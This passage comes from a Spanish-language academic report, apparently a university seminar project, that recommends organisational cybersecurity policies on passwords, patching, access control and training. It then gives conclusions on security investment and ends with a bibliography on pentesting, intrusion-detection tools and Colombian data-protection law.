Politicas de seguridad y recomendaciones para mejorar los aspectos de
ciberseguridad en cualquier organizacion en sus entornos T.I.

Politica de Contrasefas Fuertes:

Definir criterios de seguridad para contrasefias, tales como inclusién de caracteres
especiales, nimeros y combinacion de letras mayudsculas y mindsculas.
Establecer politicas que requieran cambios periddicos de contrasefia y prohiban la
reutilizacion de contrasefias anteriores.

Fomentar o hacer obligatorio el uso de gestores de contrasefnas para almacenar y
generar contrasefias seguras.

Brindar capacitacion a los empleados sobre la importancia de salvaguardar sus
contrasefias y como identificar y evitar ataques de phishing que puedan
comprometerlas ante terceros.

Politica de actualizacion de Software:

Ejecutar un plan de administracion de parches con el fin de garantizar que todos
los sistemas y aplicaciones estén al dia con los ultimos parches de seguridad
disponibles.

Configurar actualizaciones automaticas cuando sea factible, asegurando asi que
los sistemas estén resguardados contra las vulnerabilidades conocidas.

Llevar a cabo pruebas de compatibilidad antes de implementar actualizaciones en
entornos de produccion para prevenir posibles interrupciones indeseadas..

Politica de control de acceso:

Aplicar el principio de acceso minimo, limitando el acceso de los empleados solo a
los recursos esenciales requeridos para sus funciones.

Implementar autenticacion multifactor (MFA) para afiadir una capa extra de
seguridad al iniciar sesion en sistemas y aplicaciones criticas.

Realizar monitoreo y auditorias periodicas de los registros de acceso para
identificar actividades sospechosas o intentos de acceso no autorizado.

Politica de educacion y concienciacion en seguridad:

Proporcionar programas de capacitacion y sensibilizacion en seguridad cibernética
para todos los colaboradores, que incluyan ejercicios simulados de phishing.
Mantener a los empleados al tanto de las Ultimas amenazas de seguridad y tacticas
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de ingenieria social.

e Fomentar una cultura organizacional centrada en la seguridad, donde los
empleados se sientan seguros para reportar posibles incidentes de seguridad sin
preocuparse por represalias.

e Estas politicas y directrices constituyen una base sélida para mejorar la postura de
seguridad cibernética de una empresa y proteger sus activos criticos frente a las
amenazas en linea. No obstante, es crucial adaptar estas politicas segun las
necesidades especificas y el entorno de cada organizacion.

6.3. Conclusiones que orienten aspectos importantes en cuanto a la inversién de
ciberseguridad dentro de las organizaciones.

Invertir en ciberseguridad hoy por hoy en esencial y fundamental teniendo en cuenta tres
pilares: integridad, confidencialidad y disponibilidad.

Analisis de riesgos y amenazas: es fundamental comenzar con un andlisis exhaustivo
de los peligros que enfrenta la organizacién en su entorno de TI. Esto incluye identificar
activos criticos, evaluar vulnerabilidades y comprender las posibles consecuencias de los
ataques cibernéticos.

Evaluacion de la postura de seguridad actual: es importante evaluar la seguridad actual
de la organizacion para identificar brechas y areas de mejora. Esto puede involucrar
pruebas de penetracion, y revisiones de politicas y procedimientos de seguridad.

Impacto de las brechas de seguridad: durante el seminario, se pueden destacar casos
de estudio y ejemplos de organizaciones similares que sufrieron brechas de seguridad y
las consecuencias negativas que tuvieron en términos de pérdida de datos, dafio a la
reputacion y costos financieros.

Normativas y cumplimiento: se deben considerar las regulaciones y normativas
aplicables en el sector de la organizacién, asi como los requisitos de cumplimiento en
cuanto a proteccion y privacidad. Esto puede incluir GDPR, HIPAA, PCI DSS, entre otros,
y resaltar la importancia de cumplir con estas normativas para evitar multas y sanciones.

Tendencias y evolucion de las amenazas: es necesario tener en cuenta las tendencias
emergentes en ciberseguridad, como el aumento del ransomware, los ataques de
ingenieria social y las vulnerabilidades en dispositivos 10T. Esto ayuda a sensibilizar a la
alta gerencia sobre la naturaleza cambiante y cada vez mas sofisticada de las amenazas
cibernéticas.

Retorno de la inversion (ROI) en ciberseguridad: Se puede presentar un analisis
detallado del ROI de las inversiones en ciberseguridad, destacando como la prevencion
de brechas de seguridad y la mitigacion de riesgos pueden conducir a ahorros
significativos a largo plazo.
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Plan de accién y prioridades de inversion: finalmente, se debe desarrollar un plan de
accion claro que identifique las &reas prioritarias para la inversion en ciberseguridad, junto
con los costos asociados y los beneficios esperados.

6.4. Sustenta el desarrollo de cada uno de los puntos plasmados en guia de la
etapa 5 del seminario especializado mediante video.
URL de video de sustentacion de informe técnico.

https://youtu.be/OmPbOiyCs9c

Fuente: Realizada por el Autor
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7. CONCLUSIONES

La integridad legal y ética en todas las actividades relacionadas con la seguridad
informatica son fundamentales para salvaguardar la informacién.

La capacidad para identificar amenazas potenciales, evaluar su impacto y aplicar
medidas preventivas y correctivas es esencial para mitigar los riesgos y reforzar la
seguridad de los sistemas. Este enfoque proactivo no solo permite una defensa mas
efectiva contra posibles ataques, sino que también contribuye a la continuidad
operativa.

La formulacion de estrategias de contencién basadas en un andlisis exhaustivo de
riesgos y vulnerabilidades en las infraestructuras de TlI demuestra un compromiso
con la seguridad a largo plazo. La capacidad para anticipar posibles amenazas y
disefiar respuestas estratégicas proporciona a las organizaciones una ventaja
significativa en la proteccién contra incidentes de ciberseguridad y en la gestién
eficaz de crisis.
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8. RECOMENDACIONES

Promover la concienciay cultura de seguridad: Una sélida cultura de seguridad
informatica comienza con la concienciacion de todos los miembros de la
organizacion. Se recomienda implementar programas de formacion y sensibilizacion
gue eduquen a los colaboradores sobre los riesgos potenciales y las consecuencias
de las acciones inseguras. Ademas, es importante fomentar una cultura en la que
se aliente a los empleados a informar de posibles incidentes de seguridad sin temor
a represalias, lo que facilitard una deteccién temprana y una respuesta mas efectiva
a las amenazas.

Establecer alianzas estratégicas: La colaboraciébn con otras organizaciones
puede proporcionar recursos adicionales y conocimientos especializados para
fortalecer las capacidades de defensa cibernética. Se recomienda establecer
alianzas estratégicas con instituciones académicas, organismos gubernamentales,
proveedores de seguridad y otras empresas del sector para compartir informacion
sobre amenazas, buenas practicas y lecciones aprendidas. Estas alianzas pueden
facilitar el acceso a herramientas y tecnologias avanzadas.

Integrar la automatizacién y la inteligencia artificial: Se recomienda explorar
soluciones tecnoldgicas que permitan automatizar tareas repetitivas y rutinarias,
como la monitorizacion de eventos de seguridad, la gestion de registros y la
aplicacion de parches de seguridad. Sin embargo, es importante garantizar que
estas tecnologias se utilicen de manera ética y se complementen con la experiencia
humana para tomar decisiones informadas y contextuales.

58



9. BIBLIOGRAFIA

ACOSTA, Jose. Pentesting en entornos controlados. La Laguna,2022, 56p. Trabajo
de Fin de Grado. Universidad de la Laguna. Facultad de ingenieria y tecnologia.

AMOROCHO, Jorge. [En linea]. Disefio de estrategias de mitigacion a las
vulnerabilidades del entorno virtual metasploitable [ Consultado 11 de febrero de
2024]. Disponible en:
https://repository.unad.edu.co/bitstream/handle/10596/36690/jeamorochom..pdf?s
equence=3&isAllowed=y

Campusciberseguridad. ¢ qué es el pentesting?. [En linea]. [ Consultado 11 de
febrero de 2024]. Disponible en:
(https://www.campusciberseguridad.com/blog/item/139-que-es-el-pentesting).

COPNIA. Cdédigo de Etica Copnia. [En linea]. [21 de febrero del 2024]. Disponible
en: (https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-2003).

IMSALUD. (2019). ABC Ley 1581 de 2012 Proteccion de Datos Personales. [ En
linea). [ Consultado 10 de febrero del 2024]. Disponible en:
(https://www.imsalud.gov.co/web/sin-cateqoria/abc-ley-1581-de-2012-proteccion-
de-datos-personales/).

INTELEQUIA.COM. Red Team y Blue Team - funciones y diferencias en
ciberseguridad. [En linea]. [ Consultado 23 de marzo del 204]. Disponible en:
(https://n9.cl/8ar9d).

Keepcoding. ¢ Qué es Purple Team en ciberseguridad?. [En linea]. [ Consultado 01
de abril del 2024]. Disponible en: (https://keepcoding.io/blog/que-es-purple-team-
en-ciberseguridad/).

ManageEngine. ¢ Qué son los controles de CISO?. [En linea]. [ Consultado 20 marzo
de 2024]. Disponible en: (https://www.manageengine.com/latam/controles-de-
sequridad-critica-cis.html).

MINTIC. Ley 1273 de 2009. [En linea]. [ Consultado 21 de febrero del 2024].
Disponible en:
(https://normograma.mintic.gov.co/mintic/docs/pdf/ley 1273 2009.pdf).

OSSEC. Introduccion OSSEC. [En linea]. [ Consultado 13 de marzo del 2024].
Disponible en: (http://www.securitybydefault.com/2012/11/ossec-introduccion.html).

59


https://repository.unad.edu.co/bitstream/handle/10596/36690/jeamorochom..pdf?sequence=3&isAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/36690/jeamorochom..pdf?sequence=3&isAllowed=y
https://www.campusciberseguridad.com/blog/item/139-que-es-el-pentesting
https://www.copnia.gov.co/nuestra-entidad/normatividad/ley-842-de-2003
https://www.imsalud.gov.co/web/sin-categoria/abc-ley-1581-de-2012-proteccion-de-datos-personales/
https://www.imsalud.gov.co/web/sin-categoria/abc-ley-1581-de-2012-proteccion-de-datos-personales/
https://n9.cl/8gr9d
https://keepcoding.io/blog/que-es-purple-team-en-ciberseguridad/
https://keepcoding.io/blog/que-es-purple-team-en-ciberseguridad/
https://www.manageengine.com/latam/controles-de-seguridad-critica-cis.html
https://www.manageengine.com/latam/controles-de-seguridad-critica-cis.html
https://normograma.mintic.gov.co/mintic/docs/pdf/ley_1273_2009.pdf
http://www.securitybydefault.com/2012/11/ossec-introduccion.html

SIC.GOV.CO. Ley 1273 de 2009. [En linea]. [Consultado 10 de febrero del 2024].
Disponible en:
(https://www.sic.gov.co/recursos user/documentos/normatividad/Ley 1273 2009.

pdf).

SNORT. Snort. [En linea]. ¢Qué es Snort?. [ Consultado 20 de marzo del 2023].
Disponible en: (https://www.snort.orq).

Security Advisor. ¢Qué es el equipo de respuesta ante incidentes de seguridad
informatica SCIRT?. [En linea]. [ Consultado 01 de abril del 2024]. Disponible en:
(https://sadvisor.com/que-es-el-csirt/).

Securitybydefault. [En linea]. OSSEC. [ Consultado 20 de marzo del 2023].
Disponible en: (http://www.securitybydefault.com/2012/11/ossec-introduccion.html).

TARQUI, Yessica. Footprinting. [En linea]. [ Consultado 27 de marzo del 2024].
Disponible en: (https://revistasbolivianas.umsa.bo/pdf/rits/n8/n8a18.pdf).

VANEGAS, Jairo. Pentesting, ¢Porque es importante para las empresas?. [En
linea}. [ Consultado 27 de marzo del 2024]. Disponible en:
(http://repository.unipiloto.edu.co/bitstream/handle/20.500.12277/6286/00005220.p
df?sequence=1).

VILLON, Wilter. Aplicacion de un pentesting para el analisis de vulnerabilidades en
los sistemas de la empresa tumbravcarls usando herramientas open source.
Guayaquil, 2023, 110p. Trabajo de titulacion (Previo a la obtencion del titulo de
ingeniero en teleinformética). Universidad de Guayaquil. Departamento de
Ingenieria Industrial.

Zeek. ¢Qué es Zeek?. [En linea]. [ Consultado 20 de marzo del 2023]. Disponible
en: (https://zeek.org/about/).

60


https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf
https://www.snort.org/
https://sadvisor.com/que-es-el-csirt/
https://revistasbolivianas.umsa.bo/pdf/rits/n8/n8a18.pdf
http://repository.unipiloto.edu.co/bitstream/handle/20.500.12277/6286/00005220.pdf?sequence=1
http://repository.unipiloto.edu.co/bitstream/handle/20.500.12277/6286/00005220.pdf?sequence=1
https://zeek.org/about/

